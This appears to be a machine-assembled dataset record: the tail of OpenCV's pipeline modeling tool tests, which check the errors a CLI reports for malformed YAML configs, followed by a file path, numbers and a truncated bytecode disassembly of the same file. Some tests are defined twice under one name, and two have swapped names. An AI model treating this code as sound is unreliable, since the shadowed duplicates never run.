dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Src by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_node_has_dangling_input(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Node1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Node: Node0 in Pipeline: PL1 has dangling input by in port: 0" ) def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' edges: - from: 'Src' to: 'Node:0' - from: 'Node:0' to: 'Node:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:0' - from: 'Node0:0' to: 'Node1:0' - from: 'Node1' to: 'Node0:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_no_load_config_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --load_config=not_existing.yml".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert "Failed to load config: not_existing.yml" in out def test_error_invalid_app_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported PLMode: unknown\n" "Please chose between: streaming and regular" ) def test_error_invalid_pl_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --app_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported AppMode: unknown\n" "Please chose between: realtime and benchmark" ) def test_error_drop_frames_with_streaming(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=streaming --drop_frames".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert out.startswith( '--drop_frames option is supported only for pipelines in "regular" mode' ) def test_incorrect_call_every_nth(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' call_every_nth: {}\" """ error = "Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}" def check(cfg_file, call_every_nth): out = get_output( "{} --cfg={}".format( pipeline_modeling_tool, cfg_file.format(call_every_nth) ) ) assert out.startswith(error.format(call_every_nth)) check(cfg_file, -3) check(cfg_file, 0) def test_error_no_worktime_and_num_iters(): cfg_file = """\"%YAML:1.0 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,1] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed: Pipeline PL1 doesn't have stop criterion!")
data/opencv-contrib-python-headless-4.9.0.80/opencv/modules/gapi/samples/pipeline_modeling_tool/test_pipeline_modeling_tool.py
13,070
8,990
366,881
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME subprocess STORE_NAME subprocess LOAD_NAME os LOAD_METHOD getenv LOAD_CONST 'PIPELINE_MODELING_TOOL' CALL_METHOD STORE_NAME pipeline_modeling_tool LOAD_CONST <code object get_output at 0x7fab5434bf60, file "f.py", line 7> LOAD_CONST 'get_output' MAKE_FUNCTION STORE_NAME get_output LOAD_CONST <code object test_error_no_config_specified at 0x7fab5434b030, file "f.py", line 19> LOAD_CONST 'test_error_no_config_specified' MAKE_FUNCTION STORE_NAME test_error_no_config_specified LOAD_CONST <code object test_error_no_config_exists at 0x7fab5434bae0, file "f.py", line 24> LOAD_CONST 'test_error_no_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_config_exists LOAD_CONST <code object test_error_work_time_not_positive at 0x7fab5434bed0, file "f.py", line 32> LOAD_CONST 'test_error_work_time_not_positive' MAKE_FUNCTION STORE_NAME test_error_work_time_not_positive LOAD_CONST <code object test_error_no_pipelines at 0x7fab5434b780, file "f.py", line 41> LOAD_CONST 'test_error_no_pipelines' MAKE_FUNCTION STORE_NAME test_error_no_pipelines LOAD_CONST <code object test_error_pipelines_node_not_map at 0x7fab543e7660, file "f.py", line 50> LOAD_CONST 'test_error_pipelines_node_not_map' MAKE_FUNCTION STORE_NAME test_error_pipelines_node_not_map LOAD_CONST <code object test_error_config_not_contain_pl at 0x7fab543e7f60, file "f.py", line 60> LOAD_CONST 'test_error_config_not_contain_pl' MAKE_FUNCTION STORE_NAME test_error_config_not_contain_pl LOAD_CONST <code object test_error_no_source at 0x7fab543e7780, file "f.py", line 71> LOAD_CONST 'test_error_no_source' MAKE_FUNCTION STORE_NAME test_error_no_source LOAD_CONST <code object test_error_source_no_name at 0x7fab543e74b0, file "f.py", line 83> LOAD_CONST 'test_error_source_no_name' MAKE_FUNCTION STORE_NAME test_error_source_no_name LOAD_CONST <code object test_error_source_no_latency at 0x7fab543e7150, file "f.py", line 95> LOAD_CONST 'test_error_source_no_latency' MAKE_FUNCTION STORE_NAME test_error_source_no_latency LOAD_CONST <code object test_error_source_no_output at 0x7fab543e7ed0, file "f.py", line 108> LOAD_CONST 'test_error_source_no_output' MAKE_FUNCTION STORE_NAME test_error_source_no_output LOAD_CONST <code object test_error_source_output_no_dims at 0x7fab543e75d0, file "f.py", line 122> LOAD_CONST 'test_error_source_output_no_dims' MAKE_FUNCTION STORE_NAME test_error_source_output_no_dims LOAD_CONST <code object test_error_source_output_no_precision at 0x7fab8234af60, file "f.py", line 137> LOAD_CONST 'test_error_source_output_no_precision' MAKE_FUNCTION STORE_NAME test_error_source_output_no_precision LOAD_CONST <code object test_error_no_nodes at 0x7fab8234aa50, file "f.py", line 153> LOAD_CONST 'test_error_no_nodes' MAKE_FUNCTION STORE_NAME test_error_no_nodes LOAD_CONST <code object test_error_nodes_not_sequence at 0x7fab8233d6f0, file "f.py", line 170> LOAD_CONST 'test_error_nodes_not_sequence' MAKE_FUNCTION STORE_NAME test_error_nodes_not_sequence LOAD_CONST <code object test_error_node_no_name at 0x7fab8233d390, file "f.py", line 188> LOAD_CONST 'test_error_node_no_name' MAKE_FUNCTION STORE_NAME test_error_node_no_name LOAD_CONST <code object test_error_node_no_type at 0x7fab8233d300, file "f.py", line 207> LOAD_CONST 'test_error_node_no_type' MAKE_FUNCTION STORE_NAME test_error_node_no_type LOAD_CONST <code object test_error_node_unknown_type at 0x7fab8233d270, file "f.py", line 226> LOAD_CONST 'test_error_node_unknown_type' MAKE_FUNCTION STORE_NAME test_error_node_unknown_type LOAD_CONST <code object test_error_node_dummy_no_time at 0x7fab8233dc90, file "f.py", line 246> LOAD_CONST 'test_error_node_dummy_no_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_time LOAD_CONST <code object test_error_node_dummy_not_positive_time at 0x7fab8233dd20, file "f.py", line 266> LOAD_CONST 'test_error_node_dummy_not_positive_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_not_positive_time LOAD_CONST <code object test_error_node_dummy_no_output at 0x7fab8233de40, file "f.py", line 287> LOAD_CONST 'test_error_node_dummy_no_output' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_output LOAD_CONST <code object test_error_node_infer_no_model_path at 0x7fab8233d540, file "f.py", line 308> LOAD_CONST 'test_error_node_infer_no_model_path' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_model_path LOAD_CONST <code object test_error_node_infer_no_input_layers at 0x7fab7006d9c0, file "f.py", line 335> LOAD_CONST 'test_error_node_infer_no_input_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_input_layers LOAD_CONST <code object test_error_node_infer_input_layers_are_empty at 0x7fab7006db70, file "f.py", line 358> LOAD_CONST 'test_error_node_infer_input_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_input_layers_are_empty LOAD_CONST <code object test_error_node_infer_no_output_layers at 0x7fab7006dd20, file "f.py", line 383> LOAD_CONST 'test_error_node_infer_no_output_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_output_layers LOAD_CONST <code object test_error_node_infer_output_layers_are_empty at 0x7fab7006de40, file "f.py", line 408> LOAD_CONST 'test_error_node_infer_output_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_output_layers_are_empty LOAD_CONST <code object test_error_no_edges at 0x7fab7006dc90, file "f.py", line 434> LOAD_CONST 'test_error_no_edges' MAKE_FUNCTION STORE_NAME test_error_no_edges LOAD_CONST <code object test_error_edges_not_sequence at 0x7fab7006dc00, file "f.py", line 459> LOAD_CONST 'test_error_edges_not_sequence' MAKE_FUNCTION STORE_NAME test_error_edges_not_sequence LOAD_CONST <code object test_error_edges_no_from at 0x7fab7006ded0, file "f.py", line 485> LOAD_CONST 'test_error_edges_no_from' MAKE_FUNCTION STORE_NAME test_error_edges_no_from LOAD_CONST <code object test_error_edges_no_to at 0x7fab7006d4b0, file "f.py", line 512> LOAD_CONST 'test_error_edges_no_to' MAKE_FUNCTION STORE_NAME test_error_edges_no_to LOAD_CONST <code object test_error_edges_from_not_exists at 0x7fab7006d930, file "f.py", line 539> LOAD_CONST 'test_error_edges_from_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_not_exists LOAD_CONST <code object test_error_edges_from_port_not_exists at 0x7fab7006d270, file "f.py", line 567> LOAD_CONST 'test_error_edges_from_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_port_not_exists LOAD_CONST <code object test_error_edges_to_not_exists at 0x7fab7006d150, file "f.py", line 595> LOAD_CONST 'test_error_edges_to_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_not_exists LOAD_CONST <code object test_error_edges_to_port_not_exists at 0x7fab7006d810, file "f.py", line 623> LOAD_CONST 'test_error_edges_to_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_port_not_exists LOAD_CONST <code object test_error_connect_to_source at 0x7fab7006d0c0, file "f.py", line 651> LOAD_CONST 'test_error_connect_to_source' MAKE_FUNCTION STORE_NAME test_error_connect_to_source LOAD_CONST <code object test_error_double_edge at 0x7fab7006d420, file "f.py", line 679> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_error_double_edge at 0x7fab7006d6f0, file "f.py", line 709> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_node_has_dangling_input at 0x7fab7006df60, file "f.py", line 739> LOAD_CONST 'test_node_has_dangling_input' MAKE_FUNCTION STORE_NAME test_node_has_dangling_input LOAD_CONST <code object test_error_has_cycle_0 at 0x7fab7006d660, file "f.py", line 776> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_has_cycle_0 at 0x7fab7006d1e0, file "f.py", line 808> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_no_load_config_exists at 0x7fab7006d390, file "f.py", line 849> LOAD_CONST 'test_error_no_load_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_load_config_exists LOAD_CONST <code object test_error_invalid_app_mode at 0x7fab7006d8a0, file "f.py", line 878> LOAD_CONST 'test_error_invalid_app_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_app_mode LOAD_CONST <code object test_error_invalid_pl_mode at 0x7fab7006dae0, file "f.py", line 907> LOAD_CONST 'test_error_invalid_pl_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_pl_mode LOAD_CONST <code object test_error_drop_frames_with_streaming at 0x7fab54381a50, file "f.py", line 936> LOAD_CONST 'test_error_drop_frames_with_streaming' MAKE_FUNCTION STORE_NAME test_error_drop_frames_with_streaming LOAD_CONST <code object test_incorrect_call_every_nth at 0x7fab54381b70, file "f.py", line 967> LOAD_CONST 'test_incorrect_call_every_nth' MAKE_FUNCTION STORE_NAME test_incorrect_call_every_nth LOAD_CONST <code object test_error_no_worktime_and_num_iters at 0x7fab54381420, file "f.py", line 997> LOAD_CONST 'test_error_no_worktime_and_num_iters' MAKE_FUNCTION STORE_NAME test_error_no_worktime_and_num_iters LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 32 LOAD_GLOBAL subprocess LOAD_ATTR check_output LOAD_FAST exec_str LOAD_GLOBAL subprocess LOAD_ATTR STDOUT LOAD_CONST True LOAD_CONST ('stderr', 'shell') CALL_FUNCTION LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK JUMP_FORWARD to 82 DUP_TOP LOAD_GLOBAL subprocess LOAD_ATTR CalledProcessError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST exc POP_TOP SETUP_FINALLY to 68 LOAD_FAST exc LOAD_ATTR output LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST exc DELETE_FAST exc END_FINALLY POP_EXCEPT JUMP_FORWARD to 82 END_FINALLY LOAD_FAST out RETURN_VALUE LOAD_GLOBAL get_output LOAD_GLOBAL pipeline_modeling_tool CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must be specified via --cfg option' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'not_existing_cfg.yml' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to open config file: not_existing_cfg.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: -1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'work_time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must contain field: Pipelines' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines field must be a map' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --exec_list=PL2' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines must contain field: PL2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n queue_capacity: 1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: source' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: latency' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: dims' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: precision' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: nodes' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'nodes in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: type' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Unknown\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported node type: Unknown' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: time' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: -0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Path to OpenVINO model must be specified in either of two formats:\n1.\n xml: path to *.xml\n bin: path to *.bin\n2.\n blob: path to *.blob' STORE_FAST error_msg LOAD_FAST out LOAD_METHOD startswith LOAD_FAST error_msg CALL_METHOD POP_JUMP_IF_TRUE 